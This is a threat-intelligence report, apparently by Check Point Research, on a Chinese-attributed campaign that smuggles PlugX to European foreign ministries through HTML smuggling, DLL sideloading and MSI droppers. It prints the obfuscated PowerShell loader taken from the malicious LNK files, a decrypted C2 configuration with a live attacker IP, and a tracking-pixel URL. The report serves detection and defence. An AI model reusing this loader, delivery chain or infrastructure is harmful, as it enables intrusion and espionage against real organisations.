In the last couple of months, Check Point Research (CPR) has been tracking the activity of a Chinese threat actor targeting Foreign Affairs ministries and embassies in Europe. Combined with other Chinese activity previously reported by Check Point Research, this represents a larger trend within the Chinese ecosystem, pointing to a shift to targeting European entities, with a focus on their foreign policy.
The activity described in this report, utilizes HTML Smuggling to target governmental entities in Eastern Europe. This specific campaign has been active since at least December 2022, and is likely a direct continuation of a previously reported campaign attributed to RedDelta (and also to Mustang Panda, to some extent).
The campaign uses new delivery methods to deploy (most notably – HTML Smuggling) a new variant of PlugX, an implant commonly associated with a wide variety of Chinese threat actors. Although the payload itself remains similar to the one found in older PlugX variants, its delivery methods results in low detection rates, which until recently helped the campaign fly under the radar.
Let’s start with a short overview of HTML Smuggling, a well-documented technique associated with cyber criminals and state-sponsored actors alike. Malicious files are embedded within HTML documents, enabling them to evade network-based detection measures.
The way HTML Smuggling is utilized in the SmugX campaign results in the download of either a JavaScript or a ZIP file. Opening those malicious HTML documents results in the following chain of events:
application/zip
.<a>
element, the JavaScript code dynamically creates it.createObjectURL
function.download
attribute is set with the desired filename.msSaveOrOpenBlob
to save the blob with the desired filename.The lure themes are heavily focused on European domestic and foreign policies and were used to target mostly governmental ministries in Eastern Europe.
The majority of the documents contained diplomatic-related content. In more than one case, the content was directly related to China.
The lures uploaded to VirusTotal include:
In addition, the names of the archived files themselves strongly suggest that the intended victims were diplomats and government entities. Here are a few examples of the names we identified:
During our research, we came across a document named China Tries to Block Prominent Uyghur Speaker at UN.docx
, which was uploaded to VirusTotal. This document employs remote image technique to access the URL https://www.jcswcd[.]com/?wd=cqyahznz
, containing a single pixel image which is not apparent to the user. This technique, called pixel tracking, is commonly used as a reconnaissance tool. As the remote image is requested, the attackers’ server logs the request, capturing information such as the IP address, user agent, and sometimes the time of access. By analyzing the collected data, the attackers can gather information about the recipient’s behavior, such as when and where the document was accessed.
There are two main infection chains, both of which originate from an HTML file that saves the second stage to the Download folder according to the victim’s browser settings. The second stage can vary, with one chain using a ZIP file that contains a malicious LNK file, and the other chain utilizes JavaScript to download an MSI file from a remote server.
In the first scenario, the HTML smuggles a ZIP archive that contains a malicious LNK file that runs PowerShell. The PowerShell extracts a compressed archive embedded within the lnk file and saves it to the%temp%
directory. The archive, named tmp.zip
or tmp<random_number>.zip
, contains three files:
robotaskbaricon.exe
or passwordgenerator.exe
).RoboForm.dll
.data.dat
.ⓘ The vulnerability in RoboForm was addressed by the company starting Version 9.3.7 for Windows, which was released on November 1, 2022.
The PowerShell then continues to run the hijacked software, triggering the execution of the PlugX payload stored in data.dat
.
$obf_lnkpath = Get - ChildItem * .lnk | where - object {$_.length - eq 00824235} | Select - Object - ExpandProperty FullName; $obf_file = [system.io.file]::ReadAllBytes($obf_lnkpath); $obf_path = 'C:\Users\User\AppData\Local\Temp\tmp.zip'; $obf_path = [Environment]::ExpandEnvironmentVariables($obf_path); $obf_dir = [System.IO.Path]::GetDirectoryName($obf_path); [System.IO.File]::WriteAllBytes($obf_path, $obf_file[008192..($obf_file.length)]); cd $obf_dir; Expand - Archive - Path $obf_path - DestinationPath . - EA SilentlyContinue - Force | Out - Null; Remove - Item - Path $obf_path - EA SilentlyContinue - Force | Out - Null; & .\passwordgenerator.exe
The second scenario utilizes HTML Smuggling to download a JavaScript file. When this file is executed, it downloads and executes an MSI file from the attackers’ server. The MSI creates a new folder within the %appdata%\Local
directory, in which the three files extracted from the MSI package are stored. The dropped files consist of a hijacked legitimate executable, the loader DLL, and the encrypted payload, as described above.
As observed in past instances, PlugX malware employs DLL sideloading techniques. After the lnk or MSI file drops the necessary files, it triggers the execution of a legitimate program, which in turn loads the malicious DLL. The DLL is responsible for decrypting the final payload, which is often stored in a file named data.dat
using RC4 encryption.
The decryption process utilizes a hardcoded key that varies across different versions of the malware. Once decrypted, the payload is loaded into memory for further execution.
The final payload is PlugX malware, which has been utilized by multiple Chinese threat actors since 2008. It operates as a remote access tool (RAT) and employs a modular structure which enables it to accommodate diverse plugins with distinct functionalities. This enables the attackers to carry out a range of malicious activities on compromised systems, including file theft, screen captures, keystroke logging, and command execution.
To ensure persistence, the PlugX payload copies the legitimate program and the DLL and stores them within a hidden directory it creates. The encrypted payload is stored in a separate hidden folder. The malware achieves persistence by adding the legitimate program to the Run
registry key.
Some of the PlugX payloads we found write a deceptive lure in the form of a PDF file to the %temp%
directory and then open it. The document path is stored within the PlugX configuration under document_name
. It is worth mentioning that only a few samples within this campaign included the document_name
field; it was missing in the majority of the samples.
Following the initial execution which sets the persistence and copies the malware files to its target directories, the malware executes itself once again. This time it includes a parameter indicating that it should exclusively carry out communication with the C&C (Command and Control) server. One notable change we saw in this campaign’s samples is the increasing use of the RC4 encryption method compared to the simple XOR decryption we have seen in the past. The encrypted config still resides in the data section, but it has the key prepended at the start of the config and not in the decryption function like in previous samples.
{ "str_one": "", "str_two": "TwGd6YGGI", "campaign_id": "test3", "document_name": "202305 Indicative Planning RELEX.pdf", "ips": [ { "ip": "62.233.57.136", "port": 443, "is_https": 1 }, { "ip": "62.233.57.136", "port": 443, "is_https": 1 }, { "ip": "62.233.57.136", "port": 443, "is_https": 1 } ] }
During the course of our investigating the samples, the threat actor dispatched a batch script, sent from the C&C server, intended to erase any trace of their activities. This script, named del_RoboTask Update.bat
, eradicates the legitimate executable, the PlugX loader DLL, and the registry key implemented for persistence, and ultimately deletes itself. It is likely this is the result of the threat actors becoming aware they were under scrutiny.
This campaign shares significant similarities with activity attributed by other security vendors to either RedDelta or Mustang Panda (In this context it is worth noting that RedDelta and Mustang Panda are correlated to some extent, and in some cases are used to describe same activity):
62.233.57[.]136
. Notably, the common name within this certificate points to another IP address, 45.134.83[.]29
, an indictor previously associated with RedDelta.We recently published a set of articles about a threat actor we’ve been tracking named Camaro Dragon, whose activity overlaps with Mustang Panda and RedDelta. However, there is insufficient evidence to link this current campaign directly to Camaro Dragon and are therefore tracking it as the SmugX campaign.
In this report, we analyzed a recent campaign which correlates to RedDelta activities, and overlaps to some degree with Mustang Panda, highlighting their persistent targeting of European government entities. We identified multiple infection chains that employ the HTML Smuggling technique which leads to the deployment of the PlugX payload. The campaign, called SmugX, is part of a larger trend we’re seeing of Chinese threat actors shifting their focus to Europe.
While none of the techniques observed in this campaign is new or unique, the combination of the different tactics, and the variety of infection chains resulting in low detection rates, enabled the threat actors to stay under the radar for quite a while. As for PlugX, it also remained largely unchanged from previous appearances, although one new aspect observed is the adoption of RC4 encryption of the payload, which is a departure from the previously utilized XOR encryption.
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file-types, and operating systems and is protecting against the type of attacks and threats described in this report.
Check Point Threat Emulation:
Harmony Endpoint:
HTML
Archives
JavaScripts
MSI
RoboForm.dll
Encrypted payload
Decrypted payload